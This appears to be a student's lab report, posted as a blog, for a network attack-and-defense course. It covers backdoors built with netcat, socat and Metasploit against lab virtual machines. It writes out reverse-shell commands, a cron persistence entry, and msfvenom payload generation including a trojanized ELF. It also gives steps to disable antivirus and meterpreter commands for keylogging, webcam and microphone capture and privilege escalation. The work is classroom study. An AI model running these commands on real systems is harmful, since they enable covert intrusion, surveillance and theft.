20212408 2023-2024-2 《网络与系统攻防技术》实验二实验报告

20212408 2023-2024-2 《网络与系统攻防技术》实验二实验报告


一、 实验内容

1.1 知识回顾

  • 堆栈结构和堆栈变化
    EIP:存储下一条指令;EBP:栈底指针;ESP:栈顶指针。
    栈溢出的三种方法:修改栈中邻接变量;修改函数返回地址;代码植入。

  • shellcode构建
    RET返回地址;NOP空(0X90);shellcode调用shell;
    NSR模式;RNS模式;RS模式

  • 缓冲区溢出的防范技术
    源程序检查:静态检查、动态检查;数组边界检查;运行时拦截检查…

1.2 实验目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.3 问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

    黑客可以利用恶意软件的注入来获取系统的访问权限,例如直接从网上下载不被信任的某些软件,运行时就可能被攻击。

  • 例举你知道的后门如何启动起来(win及linux)的方式?

    Windows:
    开机时自启动的后门程序、黑客通过远程命令执行后门漏洞、可能隐藏在其他程序中,双击运行后就会触发后门、后门程序植入时设置定时,到达某一时间点自动运行…
    Linux:
    通过在cron中添加任务,定时执行、通过一些脚本启动后门程序、通过和其他程序捆绑运行后门程序。

  • Meterpreter有哪些给你印象深刻的功能?

    能够直接获取目标主机的音频、摄像头、按键包括截屏等,将用户隐私暴露。

  • 如何发现自己有系统有没有被安装后门?

    定期使用安全工具对电脑进行扫描、检查不明程序、定期进行安全审计对访问日志系统配置等进行检查,以发现可疑行为、检查不明进进程…

1.4 工具简介

1.netcat
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。ncat可用来做端口扫描、端口转发、连接远程系统等。

2.socat
Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

3.Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

二、实验过程

2.1 实验环境

两台虚拟机,一个是kali(192.168.3.23),另一个是win10(192.168.3.30),均开启桥接模式
ncat和socat。由于kali中已经默认安装了这两个工具,仅需要下载到win10中即可。

2.2 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

2.2.1 使用netcat获取linux主机的Shell

首先Windows主机win+r并输入cmd打开终端,并进入ncat所在的文件夹,开启监听

ncat.exe -l -p 2408	#端口号2408

接着在kali中通过ncat与win10主机建立反弹式连接:

nc 192.168.10.74 2408 -e /bin/sh	#IP是win11主机的,端口保持一致

然后可以成功获取Linux主机的shell。
在这里插入图片描述

设置任务部分是通过修改crontabs/root文件来设置定时任务。
需要再Linux系统下输入以下指令:

crontab -e	#执行文字编辑器来设定时程表,这里选择的是2:/usr/bin/vim.basic

在这里插入图片描述

回车后选择2,然后对其进行修改直接加入以下内容

30 * * * * /bin/netcat 192.168.3.30 2413 -e /bin/sh	#IP地址是win主机的,在每小时的第30分钟启动任务

crontab -l	#查看时程表

在这里插入图片描述
在这里插入图片描述

2.2.2 使用cron启动自定义任务

然后需要在Windows系统主机中刚刚获取的shell来进行操作:
在这里插入图片描述
发现可以使用同样的指令做出与Linux同样的结果,但是此时在Linux的终端下回弹出错误提示如下:
在这里插入图片描述
kali终端弹出提示,在Windows中无法对文件进行修改操作,于是就需要对kali中记录定时任务的文件本身入手,以root的权限打开。文件所在位置(/var/spool/cron目录)
在这里插入图片描述
但是这时候打开crontabs文件夹发现其中并没有root文件,只有一个用户名为zsj2408的文件,在看学长的博客得知需要在root模式下输入crontab -e,设定文字编辑器并修改时程表,即可自动生成root文件。
在这里插入图片描述
然后还需要通过Windows获取的shell继续操作,首先进入root模式,这时要注意输入密码的提示是在Linux下,然后通过echo命令直接对文件本身进行修改。
在这里插入图片描述

echo "* * * * * echo "20212408" > /home/zsj2408/zsj.txt" > /var/spool/cron/crontabs/root	#每分钟定时执行一次,用“20212408”覆盖文件zsj.txt

在这里插入图片描述
从图片就可以看出,从Windows下获取的shell对Linux的时程表进行修改后,可以直接影响Linux系统中的进程,在home/zsj2408/下的zsj.txt中的内容每分钟都会被20212408所覆盖。

2.3 使用socat获取主机操作Shell, 设置任务计划

  • socat:功能与netcat类似,可看做netcat++。具有netcat所不具备的功能,如建立ssl连接。

2.3.1 使用socat命令在kali上获取主机的shell

首先需要Windows主机进入socat所在的目录下,然后打开cmd终端,然后打开监听:

socat.exe tcp-listen:2408 exec:cmd.exe,pty,stderr	#把cmd.exe绑定到端口2408,并把cmd.exe的stderr重定向到stdout

在这里插入图片描述
然后紧接着在kali虚拟机中需要使用socat与Windows主机建立连接,可以获得Windows主机的shell

socat - tcp:192.168.47.158:2408	#连接远程端

在这里插入图片描述
但是由于我之前设置的文件目录中有中文,在Linux中会有乱码的提示,于是需要将显示设置为utf-8来解决乱码的问题。所需代码:

chcp 65001	#chcp能够显示或设置活动代码页编号。
#65001——UTF-8代码页;950——繁体中文;936——简体中文默认的GBK;437——MS-DOS美国英语

2.3.2 windows命令行添加任务计划

接着通过命令行创建任务计划,用到 schtasks 命令(windows命令行添加任务计划):

schtasks /create /sc minute /mo 1 /tn “test” /tr C:\Users\Public\test.exe	#每分钟执行一次test.exe

这里所需要的test.exe需要我们能够自己生成,因为只是添加任务计划,需要我们自己先创建任务。于是我们可以在C:\Users\Public中先创建一个test.cpp文件,然后编译。

//test.c,编译生成test.exe
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
	
	char *wday[] = {"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"};
	time_t timep;
    struct tm *p;
    time (&timep);
    p=gmtime(&timep);
    FILE *fp;
	fp = fopen("C:\\Users\\Public\\zsj.txt","a+");
    fprintf(fp,"%s","Hello 20212408zsj");
    fprintf(fp,"%d/%d/%d ", (p->tm_year+1900), (p->tm_mon+1), p->tm_mday);
    fprintf(fp,"%s %d:%d:%d\n", wday[p->tm_wday], ((p->tm_hour)+8)%24, p->tm_min, p->tm_sec);
	
 	fclose(fp);
	return 1;
}

在这里插入图片描述
然后打开计算机管理中的任务计划程序库中就会发现刚刚创建的任务,将test.exe每分钟都重复一次。
在这里插入图片描述
然后进入C:\Users\Public然后可以看到在zsj.exe文件下输入的日志。
在这里插入图片描述

2.4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后可以给我们返回一个控制通道。

2.4.1 利用meterpreter生成backdoor.exe文件

首先需要在Linux主机中生成后门程序,需要使用meterpreter的代码如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.47.158 LPORT=2408 -f exe > 20212408_backdoor.exe	#主机IP和端口号都是本地的

在这里插入图片描述
如此便形成了相对应的后门软件。

2.4.2 通过ncat将上一步生成的文件传入主机系统中

此时需要将Windows主机中的“病毒与威胁防护”设置中关闭“实时保护”,在设置中的安全中心可以将其关闭,同时还建议将防火墙也都关闭。这样可以避免后门程序被杀毒软件识别,然后将后门程序从Linux主机传入Windows主机。

ncat.exe -l 2413 > 20202413_backdoor.exe	#win10终端
nc 192.168.3.30 2413 < 20202413_backdoor.exe #kali终端。IP地址为win10主机的

在这里插入图片描述
由图片可以看出20212408_backdoor.exe后门程序已经传入Windows主机。至此完成后门软件的传出。

2.4.3 配置msf,运行后门程序,进行攻击

在Linux主机中进入MSF控制台,进行所需的参数配置:

msfconsole	#进入控制台
use exploit/multi/handler	#使用监听模块
set payload windows/meterpreter/reverse_tcp	#使用和生成后门程序时相同的payload
set LHOST 192.168.47.158	#kali的IP,需要和之前生成后门程序时设置的IP相同
set LPORT 2408	#设置端口,需要和之前生成后门程序时设置的端口相同
show options	#显示参数配置情况,同时也是检查参数是否正确设置的必要步骤
exploit	#开启监听

请添加图片描述
这时出现问题,无法正确连接,并且始终无法连接成功,后来发现问题,解决后成功连接。
请添加图片描述

然后需要再Windows主机中运行之前传入的后门程序,这时需要注意要右键使用管理员身份运行,否则后面的提权操作可能会出现故障。
请添加图片描述
至此成功获取Windows主机,然后进行一些简单权限的获取。

2.5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在刚刚获取的终端中进行一些简单操作,来获取主机的权限信息,具体代码如下:

record_mic -d 10  #截获音频,-d用来设置录制时间
screenshot  #截屏
webcam_snap	#打开摄像头拍照
keyscan_start #开始记录击键过程
keyscan_dump #读取击键记录

请添加图片描述
捕获的音频文件

请添加图片描述
捕获的截图信息
请添加图片描述
捕获的摄像头信息
请添加图片描述
请添加图片描述
捕获的击键信息

至此简单的权限操作完成。接下来进行提权的操作。
同样是在meterpreter的模块下,先通过getuid查看当前的用户,然后再使用getsystem指令进行提权。
请添加图片描述
至此实现提权操作。

2.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

首先通过看别的同学的博客学到简单的实现攻击的方法,可以直接使用MSF控制台来生成一个shellcode,然后只需要将这个shellcode注入到实验一中的pwn1的程序,注入成功之后就可以在运行时进行反向链接,然后会生成一个shell,能够借此进行交互。操作代码如下:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.47.158 LPORT=2408 -x /home/zsj2408/Desktop/pwn/pwn1 -f elf > 20212408_pwn

-p linux/x86/meterpreter/reverse_tcp:指定了生成的 payload 的类型,即一个针对 Linux x86 系统的 Meterpreter 反向 TCP shell。
-x /home/zsj2408/Desktop/pwn/pwn1:这个选项指定了要嵌入 shellcode 的目标文件,即要注入 payload 的 ELF 可执行文件

这种方法的好处是不需要再进行如实验一一样的操作,去修改堆栈可执行,关闭地址随机化,这样可以直接构建攻击文件。请添加图片描述
然后输入指令msfconsole进行相关的配置。

use exploit/multi/handler    //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp  //对应生成的后门程序设置payload
show options  //查看当前信息状态
set LHOST 192.168.47.158  //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 2408 //设置LPORT
exploit //启动监听

此时完成MSF控制台的配置,然后需要另外开启一个终端,对刚刚生成的攻击文件进行权限操作。对其权限修改后运行,先在操作台进行监听,然后运行后门程序。
请添加图片描述
请添加图片描述
然后也可以通过类似实验一的方法进行pwn1的修改。具体操作如下:
首先需要使用MSF生成所需要的shellcode:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.47.158 LPORT=2408 -f c

请添加图片描述
然后根据实验一的操作,需要设置堆栈可执行,关闭地址随机化,然后构建攻击字符串。
请添加图片描述
然后在MSF控制台上打开监听,再打开另外一个终端运行pwn1
在这里插入图片描述

三、问题及解决方法

  • 问题一:设置定时任务时理解错误

    解决方案:
    出现问题的原因在于没有理解定时任务的含义,对代码理解不够透彻,于是开始跟着学长的实验报告做时没有提前编写程序,没有提前编译出test.exe于是定时任务设置后并没有任何表现。提前编译出exe可执行文件后便发现每分钟都会执行定时任务。

  • 问题二:MSF控制台无法与Windows主机进行正确的监听和连接
    请添加图片描述
    请添加图片描述

    解决方案
    开始我将出现的报错放到浏览器中查询问题原因,网上说的原因是端口占用,但是我kill进程,或者重启电脑都无法正确连接,于是我通过重新阅读实验指导书,发现出现的问题,这时一个非常低级的问题,出现问题的原因竟然是我在设置后门程序时的IP使用错误,这里使用的IP应该是Linux主机的IP,而不是Windows主机的IP,通过重新创建backdoor文件,重现配置MSF控制台然后再监听就可以成功连接。

  • 问题三:meterpreter在获取击键权限时出现问题
    请添加图片描述

    解决方法
    在刚开始测试击键操作时又直接捕获无内容,再次尝试开启击键监控时会弹出报错,提示操作错误,无法获取击键的信息,然后上网查询问题所在,发现原因是表示正在尝试执行的函数与当前环境或条件不匹配。于是得知当开启击键监控时就已经在监控之下,并且当输出结果时这个监控并没有关闭。于是直接捕获不用再次开启即可获取击键的记录。

四、学习感悟、思考等

通过本次实验,我掌握了netcat,socat和meterpreter的使用方式,并且学会了如何在Windows和Linux下如何去设置后门程序,获取目标主机的shell访问权限等。让我对知识点的理解更加深刻。
并且让我对网络黑客的强大有了更深刻的体悟,认识到网络工具的强大,可以如此轻易的获取其他主机的权限,这让我认识到了不同于课本内容的知识体会,通过本次实验让我的网络安全意识得到极大的提高。
实验中也遇到了很多小问题,也有很多是由于自己的粗心大意导致在某些地方卡住很久,浪费大量时间,以后一定要更加仔细的学习,仔细认真。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值